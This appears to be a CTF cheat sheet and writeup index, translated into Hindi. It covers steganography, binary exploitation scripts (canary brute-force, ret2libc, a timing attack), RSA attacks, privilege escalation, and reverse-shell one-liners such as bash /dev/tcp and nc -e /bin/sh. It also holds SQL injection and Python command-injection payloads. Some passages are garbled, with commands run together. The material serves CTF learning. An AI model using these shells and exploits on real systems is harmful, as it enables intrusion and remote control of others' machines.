
CTF Cheat Sheet + लिखित विवरण / कुछ सुरक्षा CTFs के लिए फ़ाइलें जो मैंने किए हैं
कुछ साइबर CTFs के लिए जिन्हें मैंने किया है, लेखन / फ़ाइलें
मैंने CTF संसाधनों की एक सूची के साथ-साथ एक व्यापक चीट शीट भी शामिल की है जो बहुत सारी सामान्य CTF चुनौतियों को कवर करती है
[!NOTE] अब इस रिपॉजिटरी का एक वेब मिरर hackback.zip पर उपलब्ध है
यहाँ कुछ स्लाइड्स हैं जो मैंने तैयार की हैं: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf पर एक्सेस किया जा सकता है।file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>फ़ैक्स मशीन ऑडियो:
SSTV (स्लो-स्कैन टीवी) ऑडियो (चाँद सामग्री)

स्पेक्ट्रोग्राम छवि
पिच, गति, दिशा बदलें...
DTMF (डुअल टोन मल्टीपल फ़्रीक्वेंसी) फ़ोन कुंजियाँ
multimon-ng -a DTMF -t wav <file.wav>
कैसेट टेप
मोर्स कोड
जाँचें कि क्या कुछ फ़ोटोशॉप किया गया था (हाइलाइट्स देखें)
pngcheck
photorec <file.bin>.img फ़ाइल माउंट करें:
binwalk -M --dd=".*" <fileName>file चलाएँ और Linux फ़ाइलसिस्टम फ़ाइल का चयन करेंlosetup /dev/loop<freeLoopNumber> <fileSystemFile>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive() के साथ ऐसा करता हैpwn cyclic <numChars>dmesg | tail | grep segfault कि त्रुटि कहाँ थीpwn cyclic -l 0x<errorLocation>ROPgadget --ropchain --binary <binary>
gs, या fs (क्रमशः 32 और 64 बिट के लिए) से लिया जाता है।
यहाँ, स्टैक कैनरी को ऑफ़सेट +8 पर `rax` में स्थानांतरित किया जाता है।
- इस प्रकार, अगले ऑफ़सेट पर ब्रेक लगाएँ और देखें कि rax में क्या है (`i r rax`) ताकि वर्तमान कैनरी का पता चल सके।
**स्थैतिक कैनरीज़**
- एक कैनरी केवल स्थैतिक होती है यदि इसे प्रोग्रामर द्वारा मैन्युअल रूप से लागू किया गया हो (जैसा कि कुछ इंट्रो pwn चुनौतियों में होता है), या यदि आप प्रोग्राम को फ़ॉर्क कर सकते हैं।
- जब आप बाइनरी को फ़ॉर्क करते हैं, तो फ़ॉर्क की गई कॉपी में समान कैनरी होती है, इसलिए आप उस पर बाइट-दर-बाइट ब्रूटफ़ोर्स कर सकते हैं।
**अतिरिक्त**
- जब स्टैक कैनरी को अनुचित रूप से ओवरराइट किया जाता है, तो यह `__stack_chk_fail` को कॉल करेगा।
- यदि हम कैनरी को लीक नहीं कर सकते, तो हम इसे कॉल होने से रोकने के लिए GOT तालिका को संशोधित भी कर सकते हैं।
- कैनरी वर्तमान स्टैक की `TLS` संरचना में संग्रहीत होती है और `security_init` द्वारा आरंभ की जाती है।
- यदि आप वास्तविक कैनरी मान को ओवरराइट कर सकते हैं, तो आप इसे अपने ओवरफ़्लो के लिए निर्धारित किसी भी मान के बराबर सेट कर सकते हैं।
- स्थैतिक 4 बाइट कैनरी को ब्रूटफ़ोर्स करने के लिए सरल स्क्रिप्ट:```python
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
%1$s - यह स्टैक में पहले मान को (जहाँ तक मैं समझता हूँ, आपके बफर के ठीक बगल वाला) एक स्ट्रिंग के रूप में प्रिंट करेगा।%2$s - यह दूसरे मान को एक स्ट्रिंग के रूप में प्रिंट करेगा, और आप समझ गए होंगेfor i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx 1 बाइट लीक करता है (int आकार का आधा का आधा)%hx 2 बाइट लीक करता है (int आकार का आधा)%x 4 बाइट लीक करता है (int आकार)%lx 8 बाइट लीक करता है (long आकार)हम EIP को ओवरराइट करेंगे ताकि system() लाइब्रेरी फ़ंक्शन को कॉल किया जा सके और हम यह भी पास करेंगे कि इसे क्या निष्पादित करना चाहिए, इस उदाहरण में "/bin/sh" वाला एक बफर
अच्छी व्याख्या:
अच्छा उदाहरण (3:22:44 पर जाएँ):
execve("/bin/sh") का पता प्राप्त करें
one_gadget <libc file>यदि आप पहले से libc फ़ाइल और एक स्थान जानते हैं (अर्थात् उन्हें लीक करने की आवश्यकता नहीं है...)```python #!/bin/python3
from pwn import * import os
binaryName = 'ret2libc1'
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
printf_libc = l.sym['printf']
libc_base_address = printf_loc - printf_libc
offset = 0x17
payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)
p.sendline(payload)
p.interactive()
## रिवर्स इंजीनियरिंग
> शानदार गाइड: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- बहुत उपयोगी डीकंपाइलर
- dotPeek या dnSpy
- .NET निष्पादन योग्य को डीकंपाइल करें
- [jadx](https://github.com/skylot/jadx) और jadx-gui
- APK को डीकंपाइल करें
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- जावा को ऑनलाइन डीकंपाइल करें
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- उन्नत टर्मिनल-आधारित जावा डीकंपाइलर
- apktool
- APK डीकंपाइल करें
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- बाइनरी विश्लेषण
- [peda](https://github.com/longld/peda) (बढ़ी हुई कार्यक्षमता के लिए एक्सटेंशन)
- [gef](https://github.com/hugsy/gef) (प्वनर्स के लिए gdb एक्सटेंशन)
- [radare2](https://github.com/radareorg/radare2)
- बाइनरी विश्लेषण
- [FLOSS](https://github.com/mandiant/flare-floss)
- स्टेरॉइड पर `strings`। स्ट्रिंग्स को खोजने और गणना करने के लिए स्थैतिक विश्लेषण का उपयोग करता है
#### SMT सॉल्वर
- [angr](https://github.com/angr/angr) (पायथन)
- [दस्तावेज़](https://docs.angr.io/core-concepts/toplevel)
- [ट्यूटोरियल](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [ट्यूटोरियल](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### बाइट-दर-बाइट जांच को रिवर्स करना (साइड-चैनल हमला)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- यहाँ एक संस्करण है जो मैंने एक चुनौती के लिए बनाया था जो समय-आधारित हमले का उपयोग करता है:
- आपको इसे यादृच्छिकता को ध्यान में रखने के लिए कुछ बार चलाना पड़ सकता है```python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <string> चला सकते हैं और gef स्वचालित रूप से आपको वह स्ट्रिंग दिखाएगा जो आपके खोज पैटर्न से मेल खाती हैwpscan --url <site> --plugins-detection mixed -e का उपयोग करेंecho <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs का उपयोग करेंcipherText = "" plainText = "" flagCipherText = "" tableFile = ""
with open(cipherText) as fin: cipher = fin.readline().rstrip()
with open(plainText) as fin: plain = fin.readline().rstrip()
with open(flagCipherText) as fin: flag = fin.readline().rstrip()
with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break
print(key)
dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break
print(dec_flag)
- [प्रतिस्थापन सिफर](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [कीड कैसर सिफर](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### आरएसए
#### pycryptodome के साथ RSA जानकारी प्राप्त करें```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
इसका उपयोग तब करें जब आप संख्या n का गुणनखंड कर सकते हैं
पुराना```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = q = e = c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
- नया```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
आमतौर पर उपयोग किया जाता है यदि घातांक बहुत छोटा है (e <= 5)
if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1
c = e =
plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))
#### Pollards attack (n,e,c)
- [Pollard's factorization method](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf) पर आधारित, जो प्राइम्स के उत्पादों को [फैक्टर करना आसान](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) बनाता है यदि वे (B)smooth हों
- यह स्थिति तब होती है जब `p-1 | B!` और `q - 1` का एक गुणनखंड > `B` हो```python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
n = e = c =
d = owiener.attack(e, n) m = pow(c, d, n)
flag = long_to_bytes(m) print(flag)
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## बॉक्स
### कनेक्ट करना
- ssh
- `ssh <username>@<ip>`
- `ssh <username>@<ip> -i <private key file>`
- SSH को स्थानीय रूप से फ़ाइल सिस्टम के रूप में माउंट करें:
- `sshfs -p <port> <user>@<ip>: <mount_directory>`
- ज्ञात होस्ट
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
- `nc <ip> <port>`
### एनुमरेशन
- मशीन खोज
- `netdiscover`
- मशीन पोर्ट स्कैनिंग
- `nmap -sC -sV <ip>`
- लिनक्स एनुमरेशन
- `enum4linux <ip>`
- एसएमबी एनुमरेशन
- `smbmap -H <ip>`
- एसएमबी शेयर से कनेक्ट करें
- `smbclient //<ip>/<share>`
### विशेषाधिकार वृद्धि
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- स्वचालित रूप से विशेषाधिकार वृद्धि वेक्टर खोजता है
- वे कमांड सूचीबद्ध करें जिन्हें हम रूट के रूप में चला सकते हैं
- `sudo -l`
- SUID अनुमति वाली फ़ाइलें ढूंढें
- `find / -perm -u=s -type f 2>/dev/null`
- ये फ़ाइलें उन्हें चलाने वाले उपयोगकर्ता के बजाय मालिक के विशेषाधिकारों के साथ निष्पादित होती हैं
- सभी सेवाओं के लिए अनुमतियाँ ढूंढें
- `accesschk.exe -uwcqv *`
- ऐसी सेवाएँ खोजें जो सिस्टम या प्रशासक खातों के अंतर्गत नहीं हैं
- सेवा क्वेरी करें
- `sc qc <service name>`
- केवल cmd.exe में काम करता है
### रिवर्स शेल सुनना
- `nc -lnvp <port>`
### रिवर्स शेल
- revshells.com
- मूल रूप से आपको जो कुछ भी चाहिए उसके लिए टेम्पलेट
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`
### इंटरैक्टिव शेल प्राप्त करें
#### लिनक्स
1. इसे आंशिक रूप से इंटरैक्टिव बनाने के लिए निम्नलिखित पायथन कमांड चलाएँ: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. `CTRL+Z` के साथ नेटकैट सत्र से बाहर निकलें और स्थानीय रूप से `stty raw -echo` चलाएँ
3. कमांड `fg` के साथ अपने सत्र में फिर से प्रवेश करें (और यदि आवश्यक हो तो बाद में जॉब आईडी)
4. `export TERM=xterm` चलाकर अपने टर्मिनल इम्यूलेटर को xterm में बदलें (यह आवश्यक नहीं हो सकता है)
5. `export SHELL=bash` चलाकर अपने शेल को bash में बदलें (यह आवश्यक नहीं हो सकता है)
6. हो गया! अब आपका शेल पूरी तरह से इंटरैक्टिव होना चाहिए
#### विंडोज / सामान्य
1. अपने सिस्टम पर `rlwrap` स्थापित करें
2. अब, जब भी आप nc लिसनर चलाएँ, बस `rlwrap` को आगे रखें
3. उदाहरण के लिए: `rlwrap nc -lvnp 1337`
* यह आपको एरो की और कमांड हिस्ट्री देगा, लेकिन विंडोज और *निक्स सिस्टम के लिए ऑटोकम्प्लीशन नहीं देगा (जहाँ तक मैं बता सकता हूँ)
## ओएसआईएनटी
- [pimeyes](https://pimeyes.com/en)
- इंटरनेट पर चेहरों की रिवर्स सर्च करें
- [OSINT Framework](https://osintframework.com/)
- वेबसाइट जो बहुत सारे ओएसआईएनटी टूल्स को एकत्रित करती है
- [GeoSpy AI](https://geospy.ai)
- जियोस्पेशियल विज़न एलएलएम जो केवल एक छवि से स्थान का अनुमान लगा सकता है
- [overpass turbo](https://overpass-turbo.eu)
- वेबसाइट जो आपको ओपनस्ट्रीटमैप एपीआई को क्वेरी करने और परिणामों को विज़ुअलाइज़ करने देती है
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
- वेबसाइट जो आपको आसानी से ओएसएम एपीआई को क्वेरी करने देती है
## विविध
- DNS त्रुटियों का समाधान
- `dig <site> <recordType>`
- [List of record types](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- TXT आज़माना सुनिश्चित करें
- बाइनरी को एक अलग आर्किटेक्चर के रूप में चलाएँ
- 64 बिट:
- `linux64 ./<binary>`
- 32 बिट:
- `linux32 ./<binary>`
- एमएस मैक्रोज़ निकालें:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- सीएनसी जीकोड देखें
- [https://ncviewer.com/](https://ncviewer.com/)
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>
'OR 1=1-- दर्ज करेंSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' में मूल्यांकन करेगा1=1 सत्य मूल्यांकित होता है, जो OR कथन को संतुष्ट करता है, और शेष क्वेरी -- द्वारा कमेंट आउट हो जाती है__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\\n')